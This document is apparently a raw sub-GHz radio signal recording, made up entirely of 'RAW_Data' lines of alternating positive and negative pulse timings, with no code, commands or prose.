-3006 3197 -3194 3393 -3004 3401 -3002 3393 -3002 3395 -2994 3401 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1801 -1402 3393 -3006 3205 -1598 1791 -2992 3401 -1400 1801 -1402 1795 -2998 1801 -1402 1799 -1398 1791 -1398 3401 -3002 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 3401 -1400 1801 -1398 1791 -1398 1799 -3004 3401 -1400 1797 -2998 3401 -7510 1767 -2584 3763 -2696 3659 -2834 3419 -3010 3409 -3002 3401 -3002 3403 -3006 3397 -2994 3401 -2996 3401 -3002 3393 -3002 3403 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -2990 1801 -1402 1799 -1402 1799 -1402 3407 -3004 3195 -1596 1791 -2992 3401 -1402 1801 -1400 1801 -2994 1801 -1400 1801 -1400 1795 -1398 3403 -1400 1801 -2994 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 3401 -1402 1799 -1402 1795 -1394 1797 -3002 3401 -1402 1799 -1402 1795 -2992 3601 -4408 9397 -1404 3805 -2602 3601 -3002 3401 -3006 3407 -2998 3405 -2994 3395 -3006 3397 -2994 3395 -3002 3401 -2994 3401 -2994 3403 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1402 3393 -3006 3397 -1402 1795 -2992 3401 -1400 1801 -1402 1795 -2998 1801 -1402 1799 -1398 3389 -3002 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 -RAW_Data: 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 3401 -1396 1797 -1402 1799 -1402 1799 -2996 3401 -1400 1797 -1394 1795 -1402 1799 -7782 2983 -1722 3737 -2764 3575 -2986 3389 -2994 3395 -2994 3401 -3002 3403 -2994 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3403 -2994 3401 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -2994 1801 -1400 1801 -1402 1795 -1394 3397 -3002 3403 -1400 1795 -3004 3205 -1598 1791 -1394 1797 -3002 1801 -1400 1801 -1400 3401 -3004 3393 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -3002 1801 -1400 1801 -1402 1799 -1398 3789 -3630 9707 -1196 3995 -2602 3601 -3004 3401 -3002 3393 -3002 3403 -2994 3407 -3004 3193 -3200 3397 -2994 3401 -2996 3401 -3002 3393 -1402 1799 -1402 1795 -1398 1795 -1394 1797 -1402 1799 -3002 1801 -1402 1799 -1402 1799 -1398 3397 -3002 3407 -1400 1791 -2992 3401 -1402 1801 -1400 1795 -3000 1801 -1400 1795 -1398 3403 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 -RAW_Data: 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -2998 1801 -1400 1801 -1402 3401 -7046 2191 -2780 3479 -2930 3487 -3108 3315 -2934 3349 -3166 3383 -2990 3389 -2994 3395 -3002 3401 -2998 3399 -2994 3401 -3002 3393 -3004 3393 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1402 1795 -2996 3409 -1400 1789 -1394 1795 -3004 1799 -1402 1799 -1402 3407 -1404 1595 -1594 1791 -3000 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 3393 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -3002 1801 -1400 3401 -2996 3401 -5646 14913 -2416 3815 -2810 3401 -3002 3401 -3006 3407 -2994 3401 -2998 3205 -3196 3201 -3194 3393 -3008 3205 -3194 3393 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -3004 1799 -1402 1799 -1402 1795 -1398 3401 -3002 3395 -1400 1797 -2998 3401 -1402 1801 -1396 1791 -3000 1801 -1400 3401 -3004 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1398 3395 -1400 1801 -6192 2021 -2460 3747 -2764 3583 -2986 3389 -2994 3395 -3002 3393 -3002 3403 -2994 3405 -3002 3197 -3196 3393 -3002 3393 -3002 3403 -2998 3205 -1598 1791 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3393 -1402 1795 -1398 1801 -3002 1795 -1398 3401 -3002 1797 -1398 3401 -3002 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 -RAW_Data: 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 3401 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -3002 3401 -3002 1797 -1398 3601 -4152 2483 -2464 3741 -2764 3575 -2986 3385 -2994 3395 -3002 3393 -3002 3395 -3002 3401 -2994 3401 -2996 3401 -3002 3393 -3002 3403 -3002 3393 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -3006 1601 -1592 1793 -1394 1795 -1402 3401 -3002 3403 -1400 1795 -3000 3401 -1398 1795 -1402 1801 -3006 1599 -1594 3389 -3002 3403 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1795 -1398 1801 -1400 1801 -1402 1799 -1402 3393 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -3002 3393 -3002 3403 -5836 199 -800 2239 -2970 3487 -2904 3313 -3324 3147 -3168 3173 -3188 3389 -2998 3397 -2996 3401 -2994 3401 -3002 3403 -2994 3393 -3002 3401 -3000 3205 -1596 1793 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -1402 1799 -1398 1795 -3004 1799 -1402 3393 -3006 3205 -1598 1791 -2992 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 3401 -1402 1799 -1402 1799 -1402 1795 -1394 -RAW_Data: 1797 -3002 3401 -1402 1799 -3004 4001 -1452 1311 -1732 1679 -2834 3579 -2986 3395 -2998 3189 -3198 3199 -3194 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3403 -2994 3401 -2994 3403 -2994 3401 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1402 1795 -2992 3401 -1402 1799 -1402 1799 -3000 1799 -1394 3397 -1402 1799 -3002 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 3389 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -3000 3401 -1402 1799 -1402 1801 -7878 14949 -2414 3809 -2802 3401 -3004 3401 -3002 3401 -3002 3395 -2994 3401 -3002 3393 -3004 3401 -2998 3205 -3194 3395 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3006 3403 -1404 1595 -3188 3401 -1400 1801 -1398 1791 -2998 1801 -1402 3401 -1400 1801 -2994 3403 -2994 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 3401 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1396 1797 -1400 3603 -4378 1987 -2808 3349 -2882 3487 -3116 3325 -2936 3561 -2974 3385 -2992 3389 -2994 3393 -3004 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 1801 -1400 3395 -3002 3401 -1400 1797 -2990 3403 -1400 1801 -1400 1801 -3006 1601 -1592 3391 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 -RAW_Data: 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 3399 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -3004 1803 -1398 3389 -7766 3599 -1180 3997 -2602 3601 -3002 3401 -3002 3403 -2994 3401 -3002 3401 -2996 3393 -3006 3397 -2994 3403 -3002 3401 -2994 3403 -2994 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1398 1791 -1398 3401 -3002 3403 -1400 1801 -2994 3401 -1398 1791 -1398 1801 -3002 1799 -1402 3401 -1402 1799 -1398 1791 -1398 1801 -3002 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -2990 3401 -3004 3801 -4548 2039 -2540 3875 -2646 3423 -3026 3413 -3006 3405 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3407 -2998 3393 -2994 3401 -3000 3205 -1596 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1791 -1400 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -1402 1799 -1402 1799 -2996 3401 -2994 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3397 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -3002 3407 -1404 -RAW_Data: 1595 -7378 2189 -2976 3371 -2942 3489 -2908 3291 -3120 3341 -3164 3173 -3188 3189 -3190 3393 -3006 3399 -2998 3205 -3194 3395 -2994 3401 -3006 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -3002 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1402 1795 -2994 3407 -1396 1791 -1398 1801 -3002 3403 -2994 1799 -1402 1801 -1400 3401 -2994 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -2994 1801 -1400 3401 -4138 9989 -410 4445 -2630 3617 -2814 3415 -3006 3401 -3002 3401 -3004 3393 -3002 3393 -3002 3403 -2994 3401 -3002 3395 -3006 3197 -1598 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -3006 1605 -1596 1793 -1394 1795 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -1402 1801 -3002 3393 -3002 1795 -1394 3399 -3002 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 3401 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -3002 3395 -7518 2025 -2782 3651 -2826 3417 -3010 3407 -3010 3409 -2998 3389 -2996 3397 -3010 3397 -2994 3203 -3194 3393 -3002 3395 -3002 3401 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1398 1799 -1402 1801 -1396 3389 -3004 3401 -1400 1801 -3006 3397 -1398 1791 -1398 1801 -3002 3401 -2994 1801 -1402 3401 -1400 1597 -3190 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 -RAW_Data: 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -2994 4001 -3412 1945 -2826 3517 -2924 3347 -3164 3381 -2988 3389 -2994 3393 -2996 3401 -3002 3393 -3002 3403 -2994 3401 -2994 3401 -3004 3393 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1400 3393 -3004 3401 -1396 1793 -3002 3405 -1398 1797 -1400 1801 -3002 3393 -3006 3399 -2994 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 3397 -3004 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 3601 -1280 5101 -3078 3271 -3238 3223 -3014 3409 -3006 3405 -2996 3401 -3002 3401 -2994 3395 -3002 3401 -3002 3393 -3004 3393 -3002 3393 -3002 3395 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1400 1801 -1396 1791 -1400 3401 -3002 3401 -1402 1799 -3002 3395 -1400 1797 -1394 1795 -3002 3403 -3002 3393 -3006 3205 -3196 1595 -1594 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 3395 -3002 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 3401 -7728 1751 -3100 3263 -3030 3413 -3014 3415 -3006 3209 -3202 -RAW_Data: 3193 -3200 3197 -3194 3393 -2998 3407 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1394 1797 -3002 1799 -1402 1801 -1400 1801 -1396 3391 -3002 3401 -1400 1801 -3002 3403 -1396 1791 -1398 1801 -3002 3401 -2996 3401 -1400 1797 -2990 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 3401 -3004 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1797 -1398 3401 -3002 4405 -2758 2807 -2942 3325 -2938 3367 -3180 3379 -2990 3189 -3190 3393 -2996 3401 -2994 3401 